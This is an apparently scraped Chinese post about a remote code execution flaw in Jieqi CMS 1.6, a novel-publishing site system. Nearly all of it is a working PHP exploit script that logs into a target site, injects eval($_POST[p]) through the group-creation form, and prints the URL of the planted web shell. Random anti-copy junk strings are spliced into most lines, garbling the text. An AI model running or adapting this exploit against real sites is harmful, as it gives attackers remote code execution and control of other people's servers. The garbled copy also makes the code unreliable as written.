杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。/ i$ h( g/ {3 q" {5 ~; l
, I1 B& R: i, J# _ 9 ]$ ? Y3 |5 t0 A# @: \# ^0 s
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。/ U( l0 M1 i* f5 H9 c- p0 Y
需要有一个能创建圈子的用户。
, l; T0 i( g6 ^& O6 z
& t+ S2 Z( D8 A& u<?php
! }- b9 v+ F: S5 y; q0 D! v1 x * @" n+ d) l7 {! _2 ]
print_r('
6 D4 J' R9 ?: e% d; c1 c/ w+---------------------------------------------------------------------------+& q) a; z( }6 m/ S9 L: A
Jieqi CMS V1.6 PHP Code Injection Exploit
! M' \# Z; X' x; j( iby flyh4t! o1 M* t( L) m2 x- [$ |
mail: phpsec at hotmail dot com4 c! D+ d8 M2 w; |7 _( g; ^ f
team: http://www.wolvez.org1 I; U8 l" K& w: t g& r! S
+---------------------------------------------------------------------------+ U2 k/ P) g3 @( K8 X
'); /**2 U$ h. ?3 u( ?* a/ O. _5 {
* works regardless of php.ini settings4 j+ m; @$ a- z5 o5 W5 a" x
*/ if ($argc < 5) { print_r('7 s3 \8 E3 U/ m' g U
+---------------------------------------------------------------------------+1 N! `, |" a8 c9 f l0 e% |
Usage: php '.$argv[0].' host path username
2 I8 P$ J; |* p- _* L2 t0 N. nhost: target server (ip/hostname)1 V1 j7 _2 a' h" ^8 [0 n5 i h
path: path to jieqicms 5 ~6 S" y7 ^& @. G. }0 y. r
uasename: a username who can create group
% P, U% w9 S! UExample:# ^- K/ T- @8 M Z( n5 m" k& X* o6 q
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
0 C& u2 D/ `3 P8 s" }/ Q' s+---------------------------------------------------------------------------+; B( e+ V) n O5 e1 f
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
+ D& u9 S6 l, m/ j* P5 t* dContent-Disposition: form-data; name="gname"
& m/ X9 `/ v/ v# T , L! g5 c1 M8 s% M# B( ^+ Q$ k
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
; ^3 N0 h* L- _5 q$ z-----------------------------23281168279961
2 T0 Q3 {( F- ?& z' f% u# I1 yContent-Disposition: form-data; name="gcatid"
7 M e+ Y) g- P, Q# W6 m' m1 p. N
) [" M& g" i; u* T) @16 O4 D4 e( x) v8 S% \- H7 ~
-----------------------------23281168279961
, O5 L5 m1 t' xContent-Disposition: form-data; name="gaudit"
: b7 j: I* B3 q: |* H , l* E$ Q9 ]& y2 Y8 O% v
1
5 i/ p( }% R- K" z-----------------------------232811682799613 W/ ~$ ]9 r1 D$ Z3 S
Content-Disposition: form-data; name="gbrief", {1 O. O! o5 F r& R* B
9 ~1 p" i1 B: d) Q0 ?1
" B4 b" K7 I5 ?* W) c; }-----------------------------23281168279961--+ E: V' |% i: Q5 h9 e
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
c5 X8 m1 f. U& `6 A# Q
5 d P; g6 O+ K5 G# N1 w7 J2 tpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |